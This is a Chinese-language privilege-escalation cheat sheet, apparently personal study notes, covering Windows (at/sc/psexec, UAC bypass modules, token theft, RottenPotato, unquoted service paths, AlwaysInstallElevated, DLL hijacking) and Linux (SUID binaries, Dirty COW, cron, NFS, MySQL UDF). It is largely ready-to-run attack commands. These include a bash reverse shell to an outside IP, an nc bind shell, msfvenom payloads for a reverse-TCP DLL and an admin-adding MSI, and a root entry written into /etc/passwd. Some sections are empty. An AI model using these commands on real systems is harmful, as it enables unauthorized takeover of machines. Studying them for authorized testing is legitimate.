渗透提权总结

PREFACE:这个是真不太会,赶紧学学…

# 一、windows

# 1 windows 权限分级

1.user:普通用户权限,是系统中最安全的权限(因为分配给改组的默认权限不允许成员操作修改操作系统的设置或用户资料)

2.Administrator: 管理员权限。可以利用 windows 的机制将自己提升为 system 权限,以便操作 SAm 文件

3.System: 系统权限。可以对 sam 等敏感文件进行读取,往往需要将 administrator 权限提升到 system 权限才可以对散列值进行 DUmp 操作

4.TrustedInstaller:window 中的最高权限,对系统文件,即将拥有 system 权限也无法进行获取散列值、安装软件、修改防火墙规则、修改注册表等

# 2 流程

检查用户

whoami/groups

查看目标机器补丁

systeminfo
wmic qfe get Caption,Description ,HotFixID,InstalledOn

msf 渗透扫描

post/windows/gather/enum_patches

# 3 at 命令利用 Windows2000、Windows 2003、Windows XP

​ 在 Windows2000、Windows 2003、Windows XP 这三类系统中,我们可以使用 at 命令将权限提升至 system 权限。

AT 命令是 Windows XP 中内置的命令,它也可以媲美 Windows 中的 "计划任务",而且在计划的安排、任务的管理、工作事务的处理方面,AT 命令具有更强大更神通的功能。AT 命令可在指定时间和日期、在指定计算机上运行命令和程序。

因为 at 命令默认是以 system 权限下运行的所以我们可以利用以下命令,进行提权。

at 时间 /interactive cmd 其中里面的 /interactive 参数是开启交互模式

img

img

可以看到已经启动了一个 system 权限下的 cmd 窗口,虽然此时我们已经有了 system 的权限,但是可以看到,桌面还是之前用户的权限所启动的img

为了完全提权,我们可以在 system 的 cmd 里面输入 taskmgr.exe 来启动任务管理器

img

在任务管理器里面我们结束掉之前由之前账号开启的桌面进程

img

然后再添加一个由 system 权限下开启的桌面进程

img

再点入看现在登入的账号是

img

或者利用 msf 生成木马在利用 at 启动

# 4 sc 命令利用 windows 7/8、03/08、12/16

适用于 windows 7/8、03/08、12/16

因为 at 命令在 win7,win8 等更高版本的系统上都已经取消掉了,所以在一些更高版本的 windows 操作系统上我们可以用 sc 命令进行提权

SC 命令是 XP 系统中功能强大的 DOS 命令,SC 命令能与 "服务控制器" 和已安装设备进行通讯。SC 是用于与服务控制管理器和服务进行通信的命令行程序。

通俗理解就是 sc 可以启动一个服务,命令如下。

sc Create systemcmd binPath= "cmd /K start" type= own type= interact

其中 systemcmd 是服务名称,大家可以随意填写,binpath 是启动的命令,type=own 是指服务这个服务属于谁,type=interact。这里再解释一下 cmd/k start 这个命令,这个命令就是启动一个新的 cmd 窗口,如图。

img

我们继续回车

上面的命令。

img

sc start systemcmd

img

因为 sc 启动服务也是默认 system 权限的,所以我们启动的 cmd 窗口也是 system 权限!接下来的操作就可以和 xp,2003 一样了,这里就不在重复了。

# 5 psexec 提权 Win2003、Win2008

适用版本:Win2003 & Win2008

psexec.exe -accepteula -s -i -d cmd.exe

开启的 cmd 窗口也是 system 权限

# 6 绕过 UAC 提权 Microsoft 的 Windows Vista、Windows Server 2008

# (1)简介

​ Microsoft 的 Windows Vista 和 Windows Server 2008 操作系统引入了一种良好的用户帐户控制架构,以防止系统范围内的意外更改,这种更改是可以预见的,并且只需要很少的操作量。

​ 换句话说,它是 Windows 的一个安全功能,它支持防止对操作系统进行未经授权的修改,UAC 确保仅在管理员授权的情况下进行某些更改。如果管理员不允许更改,则不会执行这些更改,并且 Windows 系统保持不变。

​ UAC 通过阻止程序执行任何涉及有关系统更改 / 特定任务的任务来运行。除非尝试执行这些操作的进程以管理员权限运行,否则这些操作将无法运行。如果您以管理员身份运行程序,则它将具有更多权限,因为它将被 "提升权限",而不是以管理员身份运行的程序。

​ UAC 不会自动阻止恶意软件,其目的不是确定程序是否是恶意软件。这同样取决于用户。如果将以管理员权限执行程序,则将提醒用户并且需要用户确认。

# (2)绕过方法

通过 msf 拿到 meterprter 的会话后,我们可以通过 getsystem 或者 getuid 来检查是否是 system 权限

如果不是 system 权限,我们可以通过以下绕过 UAC 模块对 UAC 进行绕过,在通过 getsystem 进行提权

exploit/windows/local/ask #弹出UAC确认窗口,点击后获得system权限
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_fodhelper
exploit/windows/local/bypassuac_eventvwr
exploit/windows/local/bypassuac_comhijack

# 7 令牌窃取 2008 及以前

# 令牌简介

​ 描述进程或者线程安全上下文的一个对象。不同的用户登录计算机后, 都会生成一个 Access Token,这个 Token 在用户创建进程或者线程时会被使用,不断的拷贝,这也就解释了 A 用户创建一个进程而该进程没有 B 用户的权限。一般用户双击运行一个进程都会拷贝 explorer.exe 的 Access Token。访问令牌分为:

  • 授权令牌(Delegation token):交互式会话登陆(例:本地用户登陆、用户桌面等)

  • 模拟令牌(Impersonation token):非交互式登陆(例:net use 访问共享文件)

两种 token 只有在系统重启后才会清除;授权令牌在用户注销后,该令牌会变为模拟令牌依旧有效。

​ 同样也可以这样理解,当前系统中的某个进程或线程能访问到什么样的系统资源,完全取决于你当前进程是拿着谁的令牌。

​ 默认情况下,我们列举令牌,只能列举出当前用户和比当前用户权限更低用户的令牌。令牌的数量取决于当前 shell 的访问级别,如果当前的 shell 是 administrator 或者是 system,我们就可以看到系统中的所有的令牌。

# 攻击方法

首先提前获取一个 session

meterpreter > use incognito

meterpreter > list_tokens -u

meterpreter > impersonate_token WIN-2HU3N1\\Administrator **#注意:这里是两个反斜杠\\**

# 8 烂土豆提权 web 权限

# 原理

  • 欺骗 "NT AUTHORITY\SYSTEM" 账户通过 NTLM 认证到我们控制的 TCP 终端。
  • 对这个认证过程使用中间人攻击(NTLM 重放),为 "NT AUTHORITY\SYSTEM" 账户本地协商一个安全令牌。这个过程是通过一系列的 Windows API 调用实现的。
  • 模仿这个令牌。只有具有 "模仿安全令牌权限" 的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL 等)有这个权限,大多数用户级的账户没有这个权限。

​ 所以,一般从 web 拿到的 webshell 都是 IIS 服务器权限,是具有这个模仿权限的。测试过程中,我发现使用已经建好的账户(就是上面说的用户级账户)去反弹 meterpreter 然后再去执行 EXP 的时候会失败,但使用菜刀(IIS 服务器权限)反弹 meterpreter 就会成功。

# 攻击方法

meterpreter > upload /root/Rottenpotato/rottenpotato.exe

meterpreter > execute -HC -f rottenpotato.exe

meterpreter > use incognito

meterpreter > list_tokens -u

会发现令牌列表里面存在 system 的令牌,在用 system 的令牌进行提权

烂土豆版本

  1. https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS16-075/potato.exe
  2. https://github.com/breenmachine/RottenPotatoNG/blob/master/RottenPotatoEXE/x64/Release/MSFRottenPotato.exe
  3. https://github.com/foxglovesec/RottenPotato

# 9 可信任服务路径漏洞

如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的

漏洞原理

这里假设有一个服务路径 C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe

  1. 带引号时:"C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe" 会被看成一个完整的服务路径,故不会产生漏洞。
  2. 不带引号时:我们认为的服务路径是 C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe,但是由于没有双引号的包裹,Windows 会认为 C:\Program 空格后面的为 Program 这个程序的参数来进行启动服务。这样攻击者就可以命名一个为 Program.exe 的后门文件放在 c 盘下,进而等待含漏洞服务路径的启动或重启导致后门文件的执行。

攻击方法

#寻找存在漏洞的服务

wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

img

把我们后门文件重命名放在对应的文件路径下

img

在 msf 上进行监听,然后启动对应服务

img

接收到 shell,且是 system 权限

img

msf 检测攻击模块

exploit/windows/local/unquoted_service_path

正常接收到会话后,不久就会自动断开连接,需要开启命令自动迁移进程

set AutoRunScript migrate -f

# 10 不安全服务权限配合计划任务 schtasks 或 SC 命令利用

​ 如果攻击者对以高权限运行的任务所在的目录具有写权限,就可以使用覆盖原来的服务路径,进而启动我们的恶意程序。(一般用来 administrator 提权到 system,因为普通用户用 sc 修改服务路径会没有权限,导致不能用该方法提权。)

accesschk.exe -uwcqv “administrators” * #检查 administrators 组的权限配置(这里自己创建了一个 test 服务)

img

img

sc config “test” binpath=“C:\shell.exe” #用 sc 命令修改服务对应路径

img

img

sc start test #然后我们在 msf 监听,在启动该服务,就可以接收到我们的 shell

img

当然还可以用 schtasks 来定时启动服务,schtasks 命令比 at 命令更灵活。而且在 Windows Vista、Windows Server 2008 及之后版本的操作系统已经弃用 at 命令。

#查看计算机的计划任务

schtasks /query /fo LIST /v
schtasks /create /s 10.10.10.80 /tn test /sc onstart /tr c:\artifact.exe /ru system /f

在远程主机运行 "test" 任务

schtasks /run /s 10.10.10.80 /i /tn "test"

img

执行完成之后就删除计划任务

schtasks /delete /s 10.10.10.80 /tn "test" /f

img

接着删除 IPC

net use \\10.10.10.80 /del /y

img

在使用 schtasks 命令的时候会在系统留下日志文件 C:WindowsTasksSchedLgU.txt。

参数:

/create 表示创建计划任务

/tn 表示任务名

/tr 指定运行的文件

/sc 是任务运行频率

/st 是执行时间

/s 指定远程机器名或 ip 地址

/ru 指定运行任务的用户权限,这里指定为最高的 SYSTEM

/i 表示立即运行

/F 表示如果指定的任务已经存在,则强制创建任务并抑制警告

/delete 是删除任务。

# 10 Unattended Installs(自动安装)

自动安装允许程序在不需要管理员关注下自动安装。这种解决方案用于在拥有较多雇员和时间紧缺的较大 型组织中部署程序。如果管理员没有进行清理的话,那么会有一个名为 Unattend 的 XML 文件残存在系统上。 这个 XML 文件包含所有在安装程序过程中的配置,包括一些本地用户的配置,以及管理员账户。

全盘搜索 Unattend 文件是个好办法,它通常会在以下一个文件夹中:

Copy

C:\Windows\Panther
C:\Windows\Panther\Unattend
C:\Windows\System32
C:\Windows\System32\sysprep\

除了 Unattend.xml 文件外,还要留意系统中的 sysprep.xml 和 sysprep.inf 文件,这些文件中都会包含部署操作 系统时使用的凭据信息,这些信息可以帮助我们提权。

Copy

C:\Users\user\Desktop> dir C:*vnc.ini /s /b /c

Copy

#或者在名称中包含关键词的项目:
C:\Users\user\Desktop> dir C:\ /s /b /c | findstr /sr password

#或者可以在文件内容中搜索 password 之类的关键字:
C:\Users\user\Desktop>findstr /si password *.txt | *.xml | *.ini

#可以查询注册表,例如,字符串 password:
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

在这些文件中通常包含用户名和密码,密码使用 base64 编码,并且在最后会附加 "Password",所以真正的密 码需要去掉最后的 "Password"。

#msf 模块
post/windows/gather/enum_unattend

img

# 11 AlwaysInstallElevated

AlwaysInstallElevated 是一种允许非管理用户以 SYSTEM 权限运行 Microsoft Windows 安装程序包(.MSI 文件)的设置。默认情况下禁用此设置,需系统管理员手动启用他。

可以通过查询以下注册表项来识别此设置:

[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] "AlwaysInstallElevated"=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] "AlwaysInstallElevated"=dword:00000001

使用 reg query 命令查询是否存在漏洞

C:> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
or
C:> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

如果系统没这个漏洞,它将输出错误:

ERROR: The system was unable to find the specified registry key or value.

如果存在漏洞,上面将输出以下内容:

img

然后我们使用 msfvenom 生成 msi 文件,进行提权

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o rotten.msi

msiexec /quiet /qn /i C:\programdata\rotten.msi

# /quiet 安装过程中禁止向用户发送消息
# /qn 不使用 GUI
# /i 安装程序

msf 下的自动模块

exploit/windows/local/always_install_elevated

# 12 DLL 劫持提权

# 原理

Windows 程序启动的时候需要 DLL。如果这些 DLL 不存在,则可以通过在应用程序要查找的位置放置恶意 DLL 来提权。通常,Windows 应用程序有其预定义好的搜索 DLL 的路径,它会根据下面的顺序进行搜索:

1、应用程序加载的目录

2、C:\Windows\System32

3、C:\Windows\System

4、C:\Windows

5、当前工作目录 Current Working Directory,CWD

6、在 PATH 环境变量的目录(先系统后用户)

过程:信息收集 - 进程调试 - 制作 dll 并上传 - 替换 dll - 启动应用后成功

msfvenom -p windows/meterpreter/reverse_tcp lhost=101.37.169.46 lport=6677 -f dll >/opt/test.dll

# 13 常用系统漏洞 CVE Windows10 Windows7/2008 Windows7/8、2008/2012/2016 SQL Server、IIS 通杀 (针对本地用户的,不能用于域用户)

# Windows10

CVE-2020-0796 https://www.cnblogs.com/-chenxs/p/12618678.html

# Windows7/2008

CVE-2018-8120 https://www.cnblogs.com/-mo-/p/11404598.html

# Windows7/8、2008/2012/2016

CVE-2017-0213 https://www.cnblogs.com/-mo-/p/11446144.html

# SQL Server、IIS 通杀 (针对本地用户的,不能用于域用户)

MS16-075(RottenPotato) https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075

# 二、linux

# 1 suid 提权

程序 ls -l 如果有个 s 位,即有 suid

Ubuntu 16.04 以后,无法直接使用 SUID+ system() 的方式来提权,Ubuntu 发行版官方对 dash 进行了修改:当 dash 以 suid 权限运行、且没有指定 -p 选项时,将会丢弃 suid 权限,恢复当前用户权限

# (1) 找到有 root 权限的程序

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

# (2)可用于 suid 提权的程序

# ① nmap
  • 较旧版本的 Nmap(2.02 至 5.21)具有交互模式

进入交互模式:

nmap --interactive

提权:

nmap> !sh
sh-3.2# whoami
root

msf 中的可提权模块:

exploit/unix/local/setuid_nmap
# ② find

提权:

touch anyfile #必须要有这个文件
find anyfile -exec whoami \;

进入交互:

#进入shell
find anyfile -exec '/bin/sh' \;
sh-5.0# whoami
root

广播 shell(出网):

find user -exec nc -lvp 4444 -e '/bin/sh' \;

在攻击机:

nc 靶机ip 4444

反弹 shell:

find anyfile -exec bash -c 'bash -i >& /dev/tcp/114.xxx.xxx.96/4444 0>&1' \;

在攻击机:

nc -lvvp 4444
# ③ Vim

如果以 SUID 运行,它将继承 root 用户权限,可以读取系统上的所有文件

vim.tiny  /etc/passwd

通过 vim 进入 shell:

vim.tiny
#vim命令
:set shell = '/bin/sh'
:shell
# ④ Bash

用 root 打开一个 bash shell:

bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
# ⑤ less

进入 shell:

less /etc/passwd
#在less中输入:
!/bin/sh
# ⑥ more

进入 shell:

more /etc/passwd
#在more中输入:
!/bin/sh

要注意的是使用 more 和 less 一定读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用 ! 命令进入 shell

# ⑦ nano

进入 shell:

nano #进入nano编辑器
Ctrl + R
Ctrl + X 
#即可输入命令
# ⑧ cp/mv

使用 cp 命令覆盖原来的 /etc/passwd 文件

生成密码:(这里 abcd 为密码)

$ openssl passwd -1 -salt 1*2*3 abcd
$1$1*2*3$GDXeco9uaGB.Q0i0wsFCA1

/etc/passwd 复制到当前位置进行修改

底部添加:用户名:密码,如:

moyao:$1$1*2*3$GDXeco9uaGB.Q0i0wsFCA1:0:0:root:/root:/bin/bash

即可添加账户

# ⑨ awk

awk 命令进入 shell:

awk 'BEGIN {system("/bin/bash")}'
# ⑩ 其它

image-20240513094825632

# 2 内核漏洞脏牛提权

# (1)查看版本

查看发行版本:

cat /etc/issue

cat /etc/*-release

查看内核版本:

uname -a
# (2)msf

例如:内核版本 3.2.78

搜索该版本漏洞:

searchsploit linux 3.2.78

img

找到提权脚本:

img

编译:

gcc -pthread 40839.c -o 40839 -lcrypt

运行后输入密码进行提权:

img

# (3)linux-exploit-suggester

要出网查 poc,暂时不整理

# 3 计划任务提权

系统内可能会有一些定时执行的任务,一般这些任务由 crontab 来管理,具有所属用户的权限。非 root 权限的用户是不可以列出 root 用户的计划任务的。但是 /etc/ 内系统的计划任务可以被列出。

利用命令如下命令列出一些计划任务

ls -l /etc/cron*

cat /etc/crontab

img

在发现有一些计划任务时,我们就可以去检查是否存在一些问题导致权限的提升

权限配置不当,例如:

img

发现存在一个 root 身份运行的 test.sh,那我们当相应的目录下去查看一下这个计划任务

cd /sbin;ls -l test.sh

img

发现这里权限配置为 777,就是说我们普通用户也能去修改这个 test.sh 文件,那我们对文件进行修改,然后进行提权。

cp /bin/bash /tmp/bash; chmod u+s /tmp/bash;

img

接下来就到 /tmp 等待计划任务的执行

img

产生后对 bash 文件进行执行即可进行提权

img

# 4 sudo 提权

# (1)免密码

# (2)密码爆破

john --user-test test.hash

# 5 密码复用

字面意思

# 6 NFS 提权

当服务器中存在 NFS 共享,且开启了 no_root_squash 选项时,这时如果客户端使用的是 root 用户,那么对于共享目录来说,该客户端就有 root 权限,可以使用它来提升权限。

① 查看 NFS 服务器上的共享目录

sudo showmount -e x.x.x.x

② 创建本地挂载目录,挂载共享目录。使用攻击者本地 root 权限创建 Suid shell。

sudo mkdir -p /tmp

sudo mount -t nfs x.x.x.x:/home/test /tmp

cp /bin/bash /tmp/shell

chmod u+s /tmp/shell

③ 回到要提权的服务器上,使用普通用户使用 shell -p 来获取 root 权限。

# 7 数据库提权

# (1)UDF 提权

【数据库提权系列】—【Mysql-UDF 提权篇】 - FreeBuf 网络安全行业门户

linux 环境下的 MySQL UDF 提权 - 知乎 (zhihu.com)

# 介绍:

​ UDF(user defind function)用户自定义函数,通过添加新函数,对 MySQL 的功能进行扩充。调用方式与一般系统自带的函数相同,例如 user (),version () 等函数。

​ udf 文件后缀在 windows 与 linux 系统下分别为 dll 与 so,即动态链接库文件,由 C、C++ 编写。

# 利用条件:

1、常规情况:

  • mysql 配置文件 secure_file_priv 项设置为空,(如果为 NULL 或 /tmp/ 等指定目录,即无法自定义 udf 文件导出位置,则无法利用);

  • CREATE 权限、FILE 权限(root 用户默认拥有所有权限)。

2、特殊情况:

  • INSERT 权限、UPDATE 权限、DELETE 权限。

查看当前数据库用户权限:

select * from mysql.user where user = substring_index(user(), '@', 1)\G;
# 版本特性

udf 提权操作中的一个步骤是将我们的 udf 文件上传到 mysql 的检索目录中,Windows 系统下 mysql 各版本的检索目录有所不同:

# (2)MOF 提权

# (3)启动项提权

# (4)CVE-2016-6663、CVE-2016-6664 组合提权

# (5)反弹端口提权

# 题目

这道题应该是专门练提权的:42Challenge: 1 ~ VulnHub

windows:内网渗透基石篇–权限提升(上) - FreeBuf 网络安全行业门户

linux 内核:渗透测试 — 提权方式总结_渗透提权 - CSDN 博客

最详细 Linux 提权总结(建议收藏) - 随风 kali - 博客园 (cnblogs.com)

最全 Windows 提权总结(建议收藏) - 随风 kali - 博客园 (cnblogs.com)